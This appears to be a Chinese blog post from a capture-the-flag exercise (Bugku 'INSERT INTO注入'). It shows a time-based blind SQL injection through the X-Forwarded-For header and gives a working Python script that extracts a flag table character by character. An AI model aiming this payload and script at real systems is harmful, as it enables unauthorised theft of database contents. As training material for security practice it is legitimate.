bugku INSERT INTO注入

2018-10-24  本文已影响0人  牛一喵

分析了下,关闭了错误报告,并且把我们的ip记录到数据库中查询。

可以通过这个X-Forwarded-For进行注入,这是http头注入,

进行测试,发现是时间盲注,写脚本去查询数据库 、表、字段、内容。

import requests

url="http://123.206.87.240:8002/web15/"

flag=""

for i in range(1,33):

    for str1 in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_,!@#$%^&*``.":

        data="1' and (case when (substr((select group_concat(flag) from flag) from " + str(i)+" for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"

        headers={'X-ForWarded-For':data}

        try:

            result=requests.get(url,headers=headers,timeout=3)

        except requests.exceptions.ReadTimeout:

            flag+=str1

            print(flag)

            break

print(flag)

从而得出flag,测试其他的东西的时候只需要修改data就可以。

上一篇 下一篇

猜你喜欢

热点阅读